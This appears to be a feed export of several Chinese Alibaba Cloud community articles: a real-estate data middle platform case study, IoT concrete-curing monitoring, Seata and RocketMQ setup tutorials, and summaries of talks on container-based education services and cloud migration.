      从2013年开始,蓝光提出了科技、资本的双核驱动,一边加速在全国的扩张步伐,一边撬动资本、科技的杠杆,进入了3D生物打印、生物医药等领域。到目前,蓝光集团已经在全国60多个城市了开展了400多项业务,服务了100多万业主。

      然而,随着业务的扩展,一个众多传统企业都会面临的问题,也摆在了蓝光面前——如何把割裂的数据打通起来,实现节本增效

      “(阿里)数据中台给了我们机会。”蓝光地产的数据中台总监陈波对「商业与生活」说。

      所有过往,皆为序章

      2012年左右,阿里巴巴的电子商务业务既有B2B,又有淘宝,还有天猫。阿里巴巴意识到,其中的一些客户可能会同时涉及多种业务形式,B2B、C2C、B2C后面可能是同一个商品。

      不同的渠道产生了不同的数据。阿里开始尝试在电商体系内帮助客户打通底层的数据,没想到做着做着,发现这是一个可以帮客户降本增效的事情。

      做到2015年,阿里提出“大中台小前台”的战略,通过大中台聚合集团的数据、技术资源更好的服务更为敏捷的前台,实现更快速的适应瞬息万变的市场。
      1.png

      就在阿里巴巴开始形成中台概念时,地产等传统行业正在进行着一场如火如荼的信息化改造,很多企业都购买了包括ERP、OA、财务资金成本管控等第三方软件。

      从2013年开始,蓝光地产也加速了全国扩展计划,并在3D生物打印、生物医药上取得了瞩目成果。但是,随着业务的扩张和转型,蓝光地产发现,自己在数据上欠下了技术债。

      过去,在企业的信息化建设上,很多企业根据不同的业务需求采用不同的方法、不同的产品,也就是烟囱式的解决方案,但当产品落地后,会发现有很多工作是重复的,造成资源浪费。

      由于产品和产品之间没有任何交互,产生了很多数据孤岛。数据在底层之间不互通,包括授权、安全质量等,对蓝光地产这样的企业而言,造成了很多黑盒。比如会出现在招采里供应商信息是不一致,或者不同系统数据不一致的现象。或者签约数据,人们买房之后要去签合同,交定金到签合同的过程,不同的成本在算签约数据和运营数据的时候算出来的数值也不一样,这个没有对错之分,但因为口径分歧,往往会导致其他严重的问题。

      各种各样的数据孤岛横亘在各个部门之间。在传统的企业信息化改造中,企业面对数据孤岛问题,只能一点点的改进,一点点的修正。虽然是进步的,但并不能从根本上解决问题,而且耗费巨大。

      “数据中台给了我们机会。”陈波说,传统企业拥抱中台实现数据中,需要有一些过程。蓝光落地数据中台的建设,也并非一帆风顺。

      但正如莎士比亚在《暴风雨》中所说:所有过往,皆为序章。

      2018年以后,越来越多传统企业意识到了,借助于互联网、大数据技术,可以在信息化领域有更好的发展。阿里提出的“大中台小前台”,可以消除之前IT技术升级时留下的数据壁垒。

      修池、放水、养鱼

      2018年7月,蓝光地产开始跟阿里合作,“中台”项目立项。

      陈波坦陈,从0到1搭建数据中台,当时也有很多压力。中台是技术,更是一个产品。而产品就需要运营,如果不运营,就不能发挥作用,业务效率就没有提升。

      陈波之前主要负责数据工作。在搭建数据模型的时候,他就发现,建模之后,可以点到模型上。举例来说,以前要统计一个业务数据,可能需要翻出来5张表里的数据,然后再进行统计。但进入中台之后,5张表关联在一个模型上,寻找起来的路径就变得比以前短很多,极大的提高了开发效率。
      2.png
      陈波把蓝光地产“中台”实施的路径比喻为,修池子,放水,养鱼。

      修池子就是搭建数据池。为此,蓝光做了一个数据治理的工作,进行数据采集,构建数据模型,进行数据分析。数据分析分多种,比如描述性分析、预测性分析、诊断性分析,它们之间是一步一步进阶的。2018年底,蓝光实现了描述性分析,在技术中台大幅度降低了数据成本,提高了速度和准确性。

      2018年下半年,蓝光建好了数据池,并经过数据治理、业务系统改造后,把数据放进数据池里。2019年起,蓝光构建了算法能力,开始养鱼。

      所谓养鱼,也就是场景落地。

      比如,在投资地产项目时,把城市的数据,包括交通、医院、学校等,还有平均收入、平均房价等放进数据中台,就会自动分析出该地块的投资潜力。之前,都是人工判断某个城市地块有没有投资价值,但使用了“中台”后,评估的时间就被缩短了,而评估的质量也得到了提高。

      “全局规划、重点突破,环面开”

      如何确保一个“中台”项目顺利实施呢?陈波总结认为,必须要 “从战略出发,中台要服从公司发展战略,跟公司战略强耦合。”

      蓝光明确定位了“中台”价值后,由小组长牵头往下推动中台的实施,确保各个BU到板块积极的配合团队进业务梳理,包括业务模型梳理。梳理之后,项目团队会有一个业务场景的设计,技术架构,产品转型包括后期实施。

      据了解,为了确保中台的顺利实施,蓝光组织了一个实施团队,配备了6个角色,包括算法、工程师、开发、BI等。

      在实施的方法上,蓝光总结了三个核心:全局规划、重点突破,环面开。

      很多公司认为,做数据中台,只要按照项目一个接一个的做就可以了。但是,陈波认为,这种做法是片面的。正确的做法必须是,从全局出发,规划中台数据未来发展方向
      3.png
      2018年,蓝光完成三大基础、五大平台,全力完成26项重点项目建设,为各业务板块提供在线服务及局部协同。

      在传统的企业信息化中,几乎不会考虑到互联网的价值。但是,蓝光地产发现,互联网是技术驱动的。

      蓝光有一个阿拉汀招采平台,主要做建材交易。供应商入驻后,有需求的厂商可以进来招标采购,选供应商走招采流程,进行交易。蓝光的中台在其中做一些类似于芝麻分的事情,把2B客户做画像,记录交易数据、公司的信息,并进行评分。这些信息和评分,可以为后来的客户提供重要的参考。

      陈波说,在实际的运行中,客户非常认可这个中台的价值。“企业各个领域都会支撑这个中台建设,可以为全面铺开做好准备。”

      **中台的价值
      **
      地产看起来简单粗糙,拿地建房卖房。但在实际的操作中,从融资、投资到拿到、工程规划,再到施工图、确权、交互、结转以及物业,涉及的业务链条非常长。

      在蓝光,数据的打通,不仅是地产全业务链打通,还涉及到很多板块,包括文旅、科技、嘉宝物业等。“我们需要向下连接后台,向上连接企业外部,是双向的连接。”陈波认为,中台的一个价值就是连接。

      而连接之后,可以帮助业务实现更精细化的管理。

      要精细化管理,就需要把所有数据画的很细,在没有中台的时候,是很难实现的。数据在业务系统里面没有过程数据,只有结果数据。比如,卖房的数据,过去只有卖房、退房的数据,但在这过程中,其实还会有包销、分销环节的数据。如果把这些业务过程的数据做一个归集,是可以支撑业务更精细化管理的。

      蓝光的运营部门周报显示,使用中台后,蓝光仅运营部门一年就节省费用90万元。

      之前,资源规划、排期都是人工的,运营团队会有专人去算,每周都会出周报。而使用中台后,就省去了核算的人力成本。

      “这个很简单,其实就是统计分析,规则的东西,我把这个东西拿到中台来做。我说你不用干预,运营部门很惊讶,后来我们把它做了,每天自动跑,不需要人为干涉。”陈波说。

      以前,公司里也有很多人说,搞那么“赋能”,不如多卖套房子实在。但是,使用中台后,成本的下降,大家都看在眼里了。“这是业务的切实痛点,对业务赋能,提高数据使用效率,降低数据使用成本,提高数据周转效率,‘中台’在里面扮演不可或缺的角色。”陈波说。让数据用起来的机制,就是蓝光的数据中台。
      4.png
      蓝光希望把数据变成良性资产,可以变现,也可以为产品、为公司业务创新做一些支撑,去反哺业务上的缺失。

      “我可以根据中台做一些创新孵化的场景,可以做营销。”陈波说,2018年的一次营销尝试中,通过老用户带新客,蓝光地产一天成交了36亿元。而借助机器算法学习,把场景赋予到新的营销手段,盘活存量市场,盘活存量客户,地产里面有很多价值可以供蓝光挖掘。

      正如阿里巴巴集团数据技术及产品部总经理朋新宇所说,如何衡量数据中台的好坏,就一个标准,价值。

      而蓝光对中台的建设、使用,正是一个鲜活的例子。目前,蓝光已经形成了多生态发展的模式,有文旅,科技、物业、地产金融,还有制药。蓝光的“中台”目前正在计划着,要在2020年实现业务贯通,在所有的场景都能让“中台”的效果落地。

      更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦
      5.png

      ]]>
      物联网在建筑中的应用:混凝土固化监控 Fri, 02 May 2025 09:39:04 +0800 04.02.19-IoT-Applications-in-Construction-Concrete-Curing-Monitoring-1068x656_副本.jpg

      由于建筑公司的复杂性、高风险以及保守性,其采用新观念时具有滞后性。尽管存在所有这些障碍,但事实证明,新技术对该行业的整体性能、生产率、安全性和效率产生了巨大的有利影响。对于承包商而言,在其工作现场考虑用于具体工程的物联网(IoT)设备至关重要。

      “IoT”是指物联网,其简单形式是通过互联网连接设备。当通过一个巨大的网络连接时,手机、计算机和可穿戴技术(包括汽车、家庭、电器和现场传感器)都构成了物联网。以下是物联网在混凝土成熟度监测中的好处总结。

      效率

      提高施工效率是一场噩梦。未按时交付的项目数量和成本证明了这一点。其中一个具有挑战性的领域是混凝土浇筑。准确地安排混凝土浇筑和跟踪成熟度是至关重要的,以允许模板拆除等关键活动发生。

      物联网的发展现在允许通过连接到互联网的互联网温度探头实时监测混凝土的成熟度。这些工具可以实时通信并处理数据,以简化决策制定并加快施工进度。

      利用连接的技术并在工作现场安装Maturix,SmartRock和Concrete Sensor等传感器可以实现高效的现场管理。使用无线传感器将所有数据收集到一个直观的软件平台中。这种方法可以优化计划和工作流程,自动化文档编制,允许远程访问并消除手工数据收集。

      安全性

      建筑工地变化很快。必须非常小心地管理混凝土浇筑和强度,以确保工人的安全。使用有缺陷或质量差的材料可能会造成危险。无损检测结构是一种安全的替代方法。它们允许实时测量关键属性,并将数据无线发送给决策者。

      创新

      在某些情况下,环境条件会发生变化,因此难以监测湿度和温度等对结构完整性至关重要的变量。除了增加项目费用外,准确性也会受到影响。传统的测量方法面临挑战,并为决策提供了不准确的信息。物联网传感器通过采用可靠的方式收集关键数据,正在撼动建筑行业。前瞻性公司正在发现智能解决方案引人注目的商业案例。

      可靠性

      新技术解决方案针对目标应用进行了优化,因此与传统方法相比,其准确性和一致性更高。例如,考虑用于混凝土强度评估的断裂测试方法:在存储和测试期间,许多事情可能会出错。无线传感器连接到现场混凝土并实时提供实际数据。

      报告显示,与标准混凝土圆柱断裂相比,物联网传感器在基于成熟度的强度估算中始终达到90%的精度。具体传感技术和物联网设备的进步消除了猜测,并提供了更准确的数据,从而提高了测试结果的可信度。决策者获得他们可以信赖的可行数据。

      方便

      在施工过程中对混凝土养护进度进行物理监测是一个费时费力的过程。传统的温度、湿度和强度数据采集方法非常耗时。物联网设备为工作现场带来便利。劳动力优化,成本最小化。根据设计,物联网传感器不需要昂贵的组件,并为现场人员提供关键的实时数据,以便更快地做出决策。咨询工程师和Readymix供应商在线提供预校准数据,而不是要求承包商自己校准混合料。

      小结

      传感器技术在建筑领域的普及是向未来迈出的一大步。物联网工具具有改善整个价值链成果的潜力。


      原文链接 ]]>
      Spring Cloud同步场景分布式事务怎样做?试试Seata Fri, 02 May 2025 09:39:04 +0800 封面.png

      一、概述

      在微服务架构下,虽然我们会尽量避免分布式事务,但是只要业务复杂的情况下这是一个绕不开的问题,如何保证业务数据一致性呢?本文主要介绍同步场景下使用SeataAT模式来解决一致性问题。

      Seata阿里巴巴 开源的 一站式分布式事务解决方案 中间件,以 高效 并且对业务 0 侵入 的方式,解决 微服务 场景下面临的分布式事务问题

      二、Seata介绍

      整体事务逻辑是基于 两阶段提交 的模型,核心概念包括以下3个角色:

      • TM:事务的发起者。用来告诉 TC,全局事务的开始,提交,回滚。
      • RM:具体的事务资源,每一个 RM 都会作为一个分支事务注册在 TC。
      • TC:事务的协调者seata-server,用于接收我们的事务的注册,提交和回滚。

      目前的Seata有两种模式可使用分别对应不同业务场景

      2.1. AT模式

      该模式适合的场景:

      • 基于支持本地 ACID 事务的关系型数据库。
      • Java 应用,通过 JDBC 访问数据库。

      mark

      一个典型的分布式事务过程:

      1. TMTC 申请开启一个全局事务,全局事务创建成功并生成一个全局唯一的 XID
      2. XID 在微服务调用链路的上下文中传播。
      3. RMTC 注册分支事务,将其纳入 XID 对应全局事务的管辖。
      4. TMTC 发起针对 XID 的全局提交或回滚决议。
      5. TC 调度 XID 下管辖的全部分支事务完成提交或回滚请求。

      2.2. MT模式

      该模式逻辑类似TCC,需要 自定义实现 preparecommitrollback的逻辑,适合 非关系型数据库 的场景
      mark

      三、Seata场景样例

      模拟一个简单的用户下单场景,4个子工程分别是 Bussiness(事务发起者)Order(创建订单)Storage(扣减库存)Account(扣减账户余额)
      mark

      3.1. 部署Seata的Server端

      mark
      Discover注册、Config配置和Store存储模块默认都是使用file只能适用于单机,我们安装的时候分别改成使用nacosMysql以支持server端集群

      3.1.1. 下载最新版本并解压

      https://github.com/seata/seata/releases

      3.1.2. 修改 conf/registry.conf 配置

      注册中心和配置中心默认是file这里改为nacos;设置 registryconfig 节点中的typenacos,修改serverAddr为你的nacos节点地址。

      registry {
        type = "nacos"
      
        nacos {
          serverAddr = "192.168.28.130"
          namespace = "public"
          cluster = "default"
        }
      }
      
      config {
        type = "nacos"
      
        nacos {
          serverAddr = "192.168.28.130"
          namespace = "public"
          cluster = "default"
        }
      }

      3.1.3. 修改 conf/nacos-config.txt配置

      mark

      • 修改 service.vgroup_mapping 为自己应用对应的名称;如果有多个服务,添加相应的配置

      默认组名为${spring.application.name}-fescar-service-group,可通过spring.cloud.alibaba.seata.tx-service-group配置修改

      • 修改 store.modedb,并修改数据库相关配置

      3.1.4. 初始化seata的nacos配置

      cd conf
      sh nacos-config.sh 192.168.28.130

      成功后在nacos的配置列表中能看到seata的相关配置

      mark

      3.1.5. 初始化数据库

      执行conf/db_store.sql中的脚本

      3.1.6. 启动seata-server

      sh bin/seata-server.sh -p 8091 -h 192.168.28.130

      3.2. 应用配置

      3.2.1. 初始化数据库

      执行脚本 seata-demo.sql

      需在业务相关的数据库中添加 undo_log 表,用于保存需要回滚的数据

      3.2.2. 添加registry.conf配置

      直接把 seata-server 中的registry.conf复制到每个服务中去即可,不需要修改
      mark

      3.2.3. 修改配置

      demo中的每个服务各自修改配置文件

      • bootstrap.yml 修改nacos地址
      • application.yml 修改数据库配置

      3.2.4. 配置数据源代理

      Seata是通过代理数据源实现分布式事务,所以需要配置io.seata.rm.datasource.DataSourceProxyBean,且是@Primary默认的数据源,否则事务不会回滚,无法实现分布式事务

      public class DataSourceProxyConfig {
          @Bean
          @ConfigurationProperties(prefix = "spring.datasource")
          public DruidDataSource druidDataSource() {
              return new DruidDataSource();
          }
      
          @Primary
          @Bean
          public DataSourceProxy dataSourceProxy(DruidDataSource druidDataSource) {
              return new DataSourceProxy(druidDataSource);
          }
      }

      因为使用了mybatis的starter所以需要排除DataSourceAutoConfiguration,不然会产生循环依赖

      @SpringBootApplication(exclude = {DataSourceAutoConfiguration.class})

      3.2.5. 事务发起者添加全局事务注解

      事务发起者 business-service 添加 @GlobalTransactional 注解

      @GlobalTransactional
      public void placeOrder(String userId) {
          ......
      }

      3.3. 测试

      提供两个接口测试

      1. 事务成功:扣除库存成功 > 创建订单成功 > 扣减账户余额成功
        http://localhost:9090/placeOrder
      2. 事务失败:扣除库存成功 > 创建订单成功 > 扣减账户余额失败,事务回滚
        http://localhost:9090/placeOrderFallBack

      3.4. demo下载地址

      https://gitee.com/zlt2000/microservices-platform/tree/master/zlt-demo/seata-demo

      ]]>
      Apache RocketMQ 消息队列部署与可视化界面安装 Fri, 02 May 2025 09:39:04 +0800 封面.png

      一、介绍

      Apache RocketMQ是一个分布式、队列模型的消息中间件,具有低延迟、高性能和高可靠、万亿级容量和灵活的可扩展性。核心组件由四部分组成:Name ServersBrokersProducerConsumer;它们中的每一个都可以水平扩展,而没有单一的故障节点。

      file

      1. NameServer:是一个几乎无状态的节点,可集群部署,节点之间无任何信息同步
      2. Broker:部署相对复杂,Broker分为Master与Slave,一个Master可以对应多个Slaver,但是一个Slaver只能对应一个Master,Master与Slaver的对应关系通过指定相同的BrokerName,不同的BrokerId来定义,BrokerId为0表示Master,非0表示Slaver。Master可以部署多个。每个Broker与NameServer集群中的所有节点建立长连接,定时注册Topic信息到所有的NameServer
      3. Producer:与NameServer集群中的其中一个节点(随机选择)建立长连接,定期从NameServer取Topic路由信息,并向提供Topic服务的Master建立长连接,且定时向Master发送心跳。Produce完全无状态,可集群部署
      4. Consumer:与NameServer集群中的其中一个节点(随机选择)建立长连接,定期从NameServer取Topic路由信息,并向提供Topic服务的Master、Slaver建立长连接,且定时向Master、Slaver发送心跳。Consumer即可从Master订阅消息,也可以从Slave订阅消息,订阅规则由Broker配置决定

      二、MQ安装部署

      2.1. 下载

      直接找最新版下载后解压
      http://rocketmq.apache.org/release_notes
      file

      2.2. 修改配置

      修改 conf/broker.conf添加以下配置
      file

      brokerIP1:配置broker所在服务器的ip地址,以便Name Server连接

      修改 runserver.shrunbroker.sh (可不改)
      因为rocketMQ默认的启动参数内存占用非常大,如果环境没有这么多内存就必需修改JAVA_OPT参数

      • runserver.sh
        file
      JAVA_OPT="${JAVA_OPT} -server -Xms256m -Xmx256m -Xmn125m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=320m"
      • runbroker.sh
        file
      JAVA_OPT="${JAVA_OPT} -server -Xms256m -Xmx256m -Xmn125m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=320m"

      2.3. 运行Name Server

      nohup sh bin/mqnamesrv &

      查看运行日志:tail -f ~/logs/rocketmqlogs/namesrv.log

      2.4. 运行Broker

      nohup sh bin/mqbroker -n localhost:9876 -c conf/broker.conf &

      通过-c参数指定配置文件
      查看运行日志:tail -f ~/logs/rocketmqlogs/broker.log

      2.5. 停止服务的方式

      如果需要停止RocketMQ的服务,在生产环境不建议直接用kill,应该使用以下命令

      sh bin/mqshutdown broker
      
      sh bin/mqshutdown namesrv

      三、安装可视化管理界面

      mvn clean package -Dmaven.test.skip=true
      • 运行
      nohup java -jar 
          -Drocketmq.config.namesrvAddr=192.168.28.130:9876 
          -Drocketmq.config.isVIPChannel=false 
          rocketmq-console-ng-1.0.0.jar &

      file

      四、常见异常处理

      4.1. MQClientException: No route info of this topic, TopicTest1

      4.1.1. 异常说明

      在客户端的 Producer 运行起来准备发送消息时抛异常为 “ No route info of this topic ” 异常产生的原因可能是:

      1. Broker 禁止自动创建 Topic,且用户没有通过手工方式创建 Topic
      2. Broker 没有正确连接到 Name Server
      3. Producer 没有正确连接到 Name Server

      4.1.2. 解决办法

      • 排查1Broker 禁止自动创建 Topic,且用户没有通过手工方式创建 Topic

        • 可以在rocketmq所在目录下执行 " sh bin/mqbroker -m " 来查看 broker 的配置参数
        • 如下所示,autoCreateTopicEnable=true 证明是没有问题的
          file
      • 排查2Broker 没有正确连接到 Name Server
        通过查看broker的日志 tail -f ~/logs/rocketmqlogs/broker.log 看看有没有错误信息
      • 排查3Producer 没有正确连接到 Name Server

        1. 检查程序连接 Name Server 的地址有没有错
        2. 如果在云服务器上,检查安全组的配置9876端口有没有开发
        3. 看看有没有打开防火墙,有的话设置防火墙开放9876端口

          [root@zlt rocketmq-all-4.5.0-bin-release]# firewall-cmd --zone=public --list-ports
          8090/tcp 80/tcp 8080/tcp
          [root@zlt rocketmq-all-4.5.0-bin-release]# firewall-cmd --zone=public --add-port=9876/tcp --permanent
          success
          [root@zlt rocketmq-all-4.5.0-bin-release]# firewall-cmd --reload
          success
          [root@zlt rocketmq-all-4.5.0-bin-release]# firewall-cmd --zone=public --list-ports
          9876/tcp 8090/tcp 80/tcp 8080/tcp

      4.2. RemotingTooMuchRequestException: sendDefaultImpl call timeout

      4.2.1. 异常说明

      • 在客户端的 Producer 运行起来准备发送消息时抛异常如下
      • 通常因为Name Server连接不上Broker
        file

      4.2.2. 解决办法

      检查 rocketmq-console 的集群页签,broker 的地址是否正确
      file
      broker地址的配置方式请参考 安装部署 中提到的步骤:

      1. 修改 broker.conf 的配置,添加 brokerIP1 参数
      2. 启动 broker 时加上 -c 参数指定配置文件

      4.3. 消费/查看不了死信队列topic的消息

      file

      4.3.1. 异常说明

      死信队列默认的 perm 值为2没有查看权限

      4.3.2. 解决办法

      在控制台把队列的 perm 改为6就可以了
      主题点击 TOPIC配置
      file
      修改perm
      file

      ]]>
      基于容器服务的抗疫助学技术实践——阿里云 MVP黄军雷 Fri, 02 May 2025 09:39:04 +0800 【MVP时间】线上峰会,一键收藏

      《基于容器服务的抗疫助学技术实践》精彩直播

      以下是精彩视频内容整理,主要分为五个部分
      一、项目简介;
      二、系统架构;
      三、应用实践;
      四、远程协作实践;
      五、项目总结。

      一、项目简介

      (一)项目背景

      我们是外研社的技术合作伙伴,去年经过双方的沟通努力,我们打造了一款新概念英语这样的产品。这款产品无论是从公益角度,社会影响力角度,还是从收益角度,都起了不错的效果。

      今年年初的时候,大家都知道在疫情期间,中小学,大学都面临这样一个问题。大家要在家里边不能去正常的学习。于是我们想,是不是也可以在这个时间点一起做一些对于社会有价值的事情。所以我们做了一些讨论,包括产品的策划,可能面临的技术问题,所有的投入的工作量风险等等。沟通完之后,我们下决心在这个时间点,做一次公益助学这样的活动。但我们面临很多挑战,我会给大家去展开。

      image.png

      (二)项目分析

      在当时这个场景下,最大的挑战其实就是如何能快速地去迭代,去推出这款产品。在疫情的条件下,在当时全国学子面临的这种压力条件下,速度可能是最重要的事情。一旦速度加快的时候,很多事情的复杂度会增加。

      第一,我们希望3~4天能够把这件事做出来,留给我们的时间大概有96小时。这段时间里边如何把团队去组建好,如何把产品设计好,如何保证这个产品还能达到想要的效果,这个时间的压力其实非常大的。

      第二,我们实际上是对一个在线的产品去进行修改。这时候面临的问题就是说,现在既有的客户是不是会为我们的修改产生一些影响,会影响到既有客户的体验,本来是希望做好事,可能反而变成坏事,可能变的得不偿失。

      第三,因为大家都是分散在全国各地,沟通效率变低,协作难度变大。

      第四,最后一个难题就是说大家都是在一个非常规的工作环境下,我们的质量怎么去保证,如何能做一些有效的测试,验证如何做,保证我们能拿出来的产品对于大家来说是一个值得相信的产品。

      image.png

      (三)项目成果

      这个结果还是不错的。在过去的这段时间里边,经过团队的努力,通过迭代,敏捷研发这样的方式,我们累计发了7版,不断的给大家去优化,把产品的体验不断提升。从产品的策划到最终产品的交付上线,在96小时内全部完成。最终上线之后,流量增长和预期基本上符合。

      image.png

      二、系统架构

      (一)业务需求

      首先想给大家介绍一下业务需求,因为所有的业务系统的架构都是为了满足一定的业务需求而去设计的。业务需求有如下三点。

      第一,因为这次要做一个公益的活动,不同于以往的付费的产品。付费产品都要以突出的价格去提供,让大家能够使用。所以,对我们的当时的这些商品价格,订货流程,订单等等这一系列的逻辑都要做一个调整。

      第二,因为这个品牌本身有很大的知名度,这时候一旦做这样的公益活动,可以预见到当时流量会非常高。所以当时做了很多的模型预估判断,系统到底要增加多大的弹性能力,才能扛住流量激增的压力。当时判断了一下,我们觉得这个系统可能至少要承载20倍以上的流量激增。在这种情况下,我们一定要保障系统正常运行。

      第三,系统已上线有一段时间了,已经有大量的客户。不能因为做了公益活动,就降低你的质量。不因流量激增影响用户体验。

      image.png

      (二)项目架构

      下面简单介绍一下整个项目的架构。我们整个核心是基于阿里云的ACK容器服务去构建我们的基础设施。以微服务为核心去打造我们的应用体系。实际上核心是三层。最上层是为了加速,大家都会用CDN的方式去做,这个是常规的做法。中间层,有三个支柱。

      首先是我们的文化,我们的团队协作模式。这里边我们很关心的是我们在多团队的合作,以及技术服务。

      第二块是容器服务,在很早的时候就选择了容器服务做了很好的基础,所以才能够相对从容的应对这次流量激增的压力。

      第三块就是咱们核心的微服务。有微服务这样一个架构的话,面临流量的压力,也会让我们在开发层面或者说商业层面上面临的压力小一些。最底层完全依靠阿里云其他IaaS层或PaaS资源对我们产品团队的支持。让我们聚焦在需要去解决的问题上,通过我们的DevOps文化,通过我们服务的支撑,以及微服务的实践共同支撑这次项目的整个工作架构。

      image.png

      (三)微服务层架构

      微服务这块我们选用了行业内最主流的Spring Cloud体系技术栈作为我们的核心。下面依托阿里云提供的镜像服务,数据服务,安全服务等等。在上层包含两层的微服务架构。一层是面向业务层的微服务,另外一个是系统层的微服务。

      image.png

      (四)容器层架构

      (1)阿里云容器服务

      容器服务ACK有如下四个特点。第一,提供高性能可伸缩的容器应用管理服务。第二,支持企业级Kubernetes容器化应用的生命周期管理。第三,简化集群的搭建和扩容等运维工作。第四,整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳Kubernetes容器化应用运行环境。

      image.png

      (2)选型依据

      image.png

      (3)弹性设计

      image.png

      (五)数据层架构

      数据层架构如下图所示,按重要度排序,从上到下依次是静态数据,业务数据,热数据和高速大数据。

      image.png

      三、应用实践

      (一)应用实践架构

      image.png

      (二)DevOps实践架构

      image.png

      (三)性能优化实践

      image.png

      四、远程协作实践

      (一)协作挑战

      协作挑战有如下三种问题。第一,网络问题。第二,联调问题。第三,项目管理问题。

      image.png

      (二)协作方案

      协作方案包括如下三个。第一,分布式本地开发和集中式线上测试。第二,钉钉语音和电话。第三,GitLab和敏捷。

      五、项目总结

      总结起来,该公益项目能快、准、狠地完成,主要得益于以下三个方面。第一,采用了微服务架构,模块之间耦合度较低,新功能上线可滚动发布,加上团队具备DevOps能力,因此保质保量地完成了研发任务。第二,完全基于阿里云的容器服务ACK构建,同时得益于阿里云强大而全面的产品矩阵来加持,使整个项目的稳定性、可靠性更上了一层楼。第三,用到了大量的其他产品如OSS、CDN、PTS等,强大而且全面的阿里云是本项目成功上线的幕后英雄。

      关键词:容器服务,云原生,微服务,抗疫助学,敏捷研发

      【MVP时间】线上峰会,一键收藏

      《基于容器服务的抗疫助学技术实践》精彩直播

      ]]>
      基于阿里云原生服务构建迁移即服务(上)——阿里云 MVP孙琦 Fri, 02 May 2025 09:39:04 +0800 【MVP时间】线上峰会,一键收藏

      《基于阿里云原生服务构建迁移即服务》精彩直播

      查看下篇文章,点击这里。

      以下是直播内容精华整理,主要分为五个部分
      一、关于迁移那些事;
      二、脚本时代迁移;
      三、云API实现迁移自动化;
      四、利用阿里云原生服务构建迁移平台;
      五、未来展望。

      一、关于迁移那些事

      一提到迁移,大家可能想到的就是复杂,正如《企业迁云之路》这本书中写的那样,上云需要从战略、组织、风险、财务和技术等方面统筹思考,才能保证方向正确,并通过严格的项目管理对业务产生助力。

      云计算对于企业T架构的冲击和变革是非常大的,因此需要一个较长的观察期,以便对业务和技术有足够的理解和思考。企业如果要上云,至少要从业务技术能力、项目开发能力和数据应用这三个方面综合考虑应怎样逐步迁移、哪些不能或者不需要迁移、迁移的时候是复制还是重构。上云前企业在思考什么,决定了上云后企业能够获得什么。

      下图是Gartner在2018年发布的关于云计算的重复度曲线,预测云迁移将在4-5年内发生,私有云迁移是在最近两年内发生,该预测与目前的实际状况比较类似。注意图中的MultiCloud同样被预测在2-5年内出现,也印证了混合云的兴起。正是有了多云的出现,用户才有意愿将业务在不同云之间进行切换,云迁移的重要性才得以凸显。

      image.png

      Gartner对运管平台定义的十大模块中,迁移和容灾被单独列为一个模块,为了方便企业管制的一些需求,多数企业均会建立云管平台,也为多云的混合调度提供了很大的便利。但是云管平台实际上是在控制流做管理,数据和通讯还是用户去做的,无法实现从A云到B云的灵活迁移;而且在传统迁移的时候往往需要专业人员来帮助用户使用,但是在云迁移的概念下,迁移和容灾的行动,应该是一个自助的行为,那么就对云迁移提出了更高的操作简便性,使得普通用户也能便捷的使用。

      二、脚本时代迁移

      (一)迁移方式的选择

      从下图中我们可以看到,迁移的方式有很多,比如重装、Re-Host、重构等等,而在这些方式中,最经济、最快的方式就是Re-Host方式。

      image.png

      如果想用Re-Host方式的话,从迁移的文件存储级别来看,我们有下面2中方法:

      (1)文件级别

      该方式缺陷有一个缺陷,是需要提前在云上把待迁移主机建立起来,但是由于线下的主机系统可能比较老,云上不一定能找到完全对应的版本,那么在这种情况下进行迁移的时候,很可能影响应用的稳定性问题。

      (2)块级别

      块级别的迁移方式和我们的需求是比较接近的,但是从市面上的产品来看,都是需要在迁移过程中远端停机,会对用户的业务稳定性产生很大的影响;另外就是这些方式需要大量的手动操作,在云迁移的方式下,其实并不适用。

      (二)云迁移与传统迁移的区别

      云迁移与传统迁移的最本质区别在于API接口的利用:在物理环境下,我们很难利用命令或者相关的API控制服务器来完成迁移工作,但是在云的环境下,一切被虚拟化,所以很容易的调用云平台的计算、存储、网络等资源,从而能够更快速的帮助用户将应用迁移到云端。所以,API的利用是一个云原生迁移平台要具备的第一个特性。

      (三)云迁移诞生之缘

      如下图所示,我们团队在实际业务中发现了云迁移的潜在需求,进而基于云原生的方式,开发了这样一款产品,大大提升了用户的迁移效率与安全性。

      image.png

      三、云API实现迁移自动化

      (一)云迁移的主要技术与架构

      当云API和迁移流程能够完美结合的时候,对迁移效率的提升非常明显:用云API实现迁移自动化的整个过程比人工方式快10倍以上,比其他工具要快5倍以上。
      如果想要用云原生API实现迁移自动化,对于工具应该至少满足以下6点要求:

      • 面向小白用户的设计,步骤简单,界面清晰,无须培训就可以开始使用;
      • 实现在线“热迁移”效果,即迁移不影响业务;
      • 能够支持私有云、阿里云公有云、专有云平台;
      • 迁移过程中无须进入命令行操作,实现全自动、一键式迁移效果;
      • 微服务设计,模块之间的通讯全部使用REST接口,不允许跨模块访问数据库;
      • 对外提供REST API接口,能够被第三方产品进行整合。

      云迁移过程中,想要满足以上几点需求,需要实现的关键技术有如下:

      (1)块级别复制

      块级别全量、增量复制,保证业务连续性,块级别差异捕获。业务系统可以整体恢复、无须重装或应用改造。

      (2)数据传输

      数据的传输支持多种传输协议和方式,能够支持大容量窄带宽传输方式,支持传输到存储设备。

      (3)API接口

      支持迁移到多个云平台,使用云原生API接口,形成高度自动化流程,使用云原生资源,在迁移过程中无须转换,提高效率。

      (4)驱动适配

      通过对驱动注入,保证操作系统可以在目标平台正常启动,规避在源端安装驱动的风险。

      只有以上几个关键技术被满足之后,我们才能建立一个面向云原生方式的迁移平台。下图所示是单机版本的业务逻辑架构。

      根据业务逻辑的抽象将模块分为三大类:源端代理、迁移调度管理和云平台代理端。其中,源端代理主要负责将块数据用全量和增量的方式读出,云平台代理端主要负责接收数据以及通过API调度云平台的资源配合迁移流程,而迁移调度管理平台主要负责整个迁移调度工作,降低整个迁移工作的复杂性。

      三个模块中,除了源端代理无法部署在容器上,前迁移调度管理和云平台代理端都部署在容器上。底层上,我们即可以对接云平台,也可以对接传统存储,就解决了在大容量、窄带宽下的迁移工作。架构中的每个模块都是微服务架构,包括API与Worker服务,模块都是异步调用为主,满足了调用的灵活性和可扩展性。

      image.png

      其中,对于每个模块内的技术栈如下图所示。

      image.png

